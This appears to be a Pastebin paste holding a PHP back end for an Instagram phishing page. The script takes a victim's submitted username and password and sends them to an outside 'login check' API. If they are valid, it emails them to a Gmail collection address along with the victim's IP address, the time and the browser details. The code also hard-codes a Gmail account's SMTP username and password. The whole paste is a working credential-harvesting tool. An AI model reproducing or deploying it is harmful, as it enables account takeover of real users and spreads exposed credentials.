Advertisement
Guest User

Untitled

a guest
Mar 11th, 2016
198
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.72 KB | None | 0 0
  1. <?php
  2. include('phpmailer/class.phpmailer.php');
  3. require 'PHPMailerAutoload.php';
  4. require 'class.smtp.php';
  5.  
  6. $user = $_POST['username'];
  7. $paswot = $_POST['password'];
  8. $api = file_get_contents("http://cornelius.is.my/api/instagram.php?user=$user&pass=$paswot"); // API True Login Instagram
  9. if ($api == '1'){ // Tampilan yang akan di ambil
  10. $email_sia = 'rekap.instagram@gmail.com'; // email lo
  11. $user = $_POST['username'];
  12. $paswot = $_POST['password'];
  13. $ip = $_SERVER['REMOTE_ADDR'];
  14. $today = date("F j, Y, g:i a");
  15. $browser = $_SERVER['HTTP_USER_AGENT'];
  16. $randomers = rand(0,100);
  17. $subjek = '('.$randomers.')Result Akun Instagram @'.$user.' '.$paswot.' ( IP = '.$ip.' )';
  18. $body = <<<EOD
  19. <div style='font-family: Tahoma;line-height: 25px;color: #333;font-size: 14px;border: 1px solid #06F; padding: 20px; border-radius: 5px; margin-top: 20px;'>
  20. .++--------[ <font color='blue'>Akun Instagram Information</font> ]-------++.<br>
  21. Username => <font color='#3366FF'><b>$user</b></font><br>
  22. Password => <font color='#3366FF'><b>$paswot</b></font> <br>
  23. .++--------[ <font color='red'>End Information</font> ]-------++.<br>
  24. .++--------[ <font color='blue'>PC Info</font> ]-------++.<br>
  25. FROM => <font color='#3366FF'>.$ip. on .$today.</font><br>
  26. Browser => <font color='#3366FF'>.$browser.</font> <br>
  27. .++--------[ <font color='red'>End</font> ]-------++.<br>
  28. </div>
  29. EOD;
  30. //* jangan di ubah kalo kagak mau error!,gak usah sok tau deh //*
  31. $mail = new PHPMailer();
  32. //$mail->IsSMTP(); // telling the class to use SMTP
  33. //$mail->Host = "smtp.gmail.com""; // SMTP server
  34. //IsSMTP(); // send via SMTP
  35. $mail->Host = "ssl://smtp.gmail.com"; // SMTP server Gmail
  36. $mail->Mailer = "smtp";
  37. $mail->SMTPAuth = true; // enable SMTP authentication
  38. $mail->SMTPSecure = "tls"; // sets the prefix to the servier
  39. $mail->Port = 587; // set the SMTP port for the GMAIL server
  40.  
  41. $mail->Username = "a.sofyan027@gmail.com"; //
  42. $mail->Password = "Lolipop0"; // SMTP password
  43. $webmaster_email = "Free@Freeinstagramfollowers.id"; //Reply to this email ID
  44. $email = $email_sia; // Recipients email ID
  45. $name = "paket datang"; // Recipient's name
  46. $mail->From = $webmaster_email;
  47. $mail->FromName = "namapengirim";
  48. $mail->AddAddress($email,$name);
  49. $mail->AddReplyTo($webmaster_email,"namawebmaster");
  50. $mail->IsHTML(true); // send as HTML
  51. $mail->Subject = $subjek;
  52. $mail->Body = $body; //HTML Body
  53. $mail->AltBody = "This is the body when user views in plain text format"; //Text Body
  54. $_SESSION['username'] = $_POST['username'];
  55. $_SESSION['password'] = $_POST['password'];
  56. if(!$mail->Send())
  57. {
  58. header('location:login.php?error=2');
  59. }
  60. else
  61. {
  62. header("Location:home.php");
  63. } }
  64. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement